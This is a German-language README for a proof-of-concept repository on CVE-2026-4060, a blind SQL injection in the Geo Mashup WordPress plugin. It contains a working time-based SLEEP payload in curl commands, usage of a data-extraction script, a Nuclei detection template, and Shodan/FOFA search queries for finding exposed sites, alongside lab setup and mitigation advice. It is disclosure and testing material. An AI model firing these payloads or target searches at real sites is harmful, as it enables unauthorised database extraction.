
Proof-of-concept für CVE-2026-4060: nicht authentifizierte zeitbasierte Blind-SQL-Injection im Geo Mashup WordPress-Plugin über die ORDER BY-Klausel. Enthält Exploit-Skript, Laborumgebung und Nuclei-Erkennungsvorlage.
Unangemeldete Angreifer können beliebiges SQL in die
ORDER BY-Klausel über den Parametersortdesrender-map-Endpunkts von Geo Mashup einschleusen, was eine zeitbasierte Blind-Extraktion sensibler Datenbankinformationen ermöglicht.
| Feld | Detail |
|---|---|
| CVE | CVE-2026-4060 |
| Plugin | Geo Mashup von cyberhobo |
| Betroffen | ≤ 1.13.18 |
| Behoben in | 1.13.19 |
| CVSS v3.1 | 7.5 (Hoch) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-89 — Fehlerhafte Neutralisierung spezieller Elemente in SQL |
| Authentifizierung erforderlich | Keine (unangemeldet) |
Der vom render-map-Endpunkt akzeptierte Parameter sort wird ohne Bereinigung direkt an einen $wpdb->get_results()-Aufruf übergeben:
// render-map.php (vereinfacht)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
"SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);
Da $sort unverändert interpoliert wird, kann ein Angreifer eine Unterabfrage in die ORDER BY-Klausel einschleusen. WordPress’ wpdb escaped einfache Anführungszeichen, daher verwendet der PoC ORD(SUBSTRING(...)) mit numerischen Vergleichen, um diese Einschränkung zu umgehen und eine zeitbasierte Blind-Extraktion durchzuführen.
Verwundbarer Endpunkt:
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
| Komponente | Version |
|---|---|
| Betriebssystem | macOS (Darwin 25.4.0) |
| Docker | 27.x |
| WordPress | 6.8.2 (PHP 8.2, Apache) |
| MariaDB | 11.4 |
| Geo Mashup | 1.13.18 (verwundbar) |
| Python | 3.x (für poc.py) |
| Nuclei | v3.8.0 |
┌─────────────────────────────────┐
│ Host (localhost:8080) │
│ │
│ ┌─────────────┐ ┌──────────┐ │
│ │ WordPress │ │ MariaDB │ │
│ │ 6.8.2+PHP82 │──│ 11.4 │ │
│ │ :80 │ │ :3306 │ │
│ └─────────────┘ └──────────┘ │
│ + Geo Mashup 1.13.18 │
└─────────────────────────────────┘
Geo Mashup 1.13.18 aktiv im WordPress-Admin:

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh
setup.sh wird:
Sobald abgeschlossen:
http://localhost:8080http://localhost:8080/wp-admin (Benutzer: admin / Passwort: admin)time curl -s -o /dev/null \
"http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
Eine Antwortverzögerung von ~8 Sekunden bestätigt die ORDER BY-SQL-Injection.
# Standard — nur extrahierte Ergebnisse ausgeben
python3 poc.py --url http://localhost:8080
# Ausführlich — jedes Payload, Antwortzeit und extrahiertes Zeichen anzeigen
python3 poc.py --url http://localhost:8080 --verbose
# Nur SQLi bestätigen, Datenextraktion überspringen
python3 poc.py --url http://localhost:8080 --confirm-only
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
docker compose down -v
Das Einschleusen einer SLEEP(8)-Unterabfrage über den Parameter sort erzeugt eine Antwortverzögerung von ~8 Sekunden.
time curl -s -o /dev/null \
"http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

Der PoC extrahiert Daten Zeichen für Zeichen mithilfe von ORD(SUBSTRING(...))-Vergleichen: Payload senden → Antwortzeit messen → Zeichen bestätigen, wenn SLEEP ausgelöst wird.
python3 poc.py --url http://localhost:8080 --verbose

Extrahierte Daten:
| Abfrage | Ergebnis |
|---|---|
VERSION() | 11.4.10-MariaDB |
DATABASE() | wordpress |
USER() | [email protected] |
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
Scan completed in 8.07s. 1 matches found.
Die Nuclei-Vorlage verwendet einen zweistufigen Ablauf, um Fehlalarme zu verhindern.
Wenn readme.txt in Schritt 1 eine 404 zurückgibt, wird der Scan sofort beendet, ohne das SQL-Payload zu senden.
Scan completed in 62ms. 0 matches found. ✅
Versionsprüfung des Plugins über readme.txt:

Wenn compare_versions(version, '<= 1.13.18') fehlschlägt, wird Schritt 2 vollständig übersprungen.
Scan completed in 19ms. 0 matches found. ✅
| Aktion | Detail |
|---|---|
| Aktualisieren | Geo Mashup auf 1.13.19 oder neuer upgraden |
| Vorübergehend | Plugin deaktivieren, bis ein Update angewendet wird |
| WAF | Subquery-Injection-Muster in ORDER BY-Klauseln blockieren |
Patch-Commit: plugins.trac.wordpress.org/changeset/3503627
Nuclei-Vorlage: nuclei/CVE-2026-4060.yaml
Erkennungsablauf:
Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
→ confirm plugin exists + version <= 1.13.18
Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
→ status 200 + GeoMashup.createMap + duration >= 8s
Shodan / FOFA:
Shodan: http.html:"geo-mashup"
FOFA: body="geo-mashup"
| Datum | Ereignis |
|---|---|
| 2026-04 | Schwachstelle entdeckt |
| 2026-04 | An Plugin-Autor gemeldet |
| 2026-05 | Geo-Mashup-1.13.19-Patch veröffentlicht |
| 2026-05-14 | CVE zugewiesen und öffentlich bekannt gegeben |
Dieses Repository dient ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken.
Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.
Der Autor ist nicht für jeglichen Missbrauch dieses Materials verantwortlich.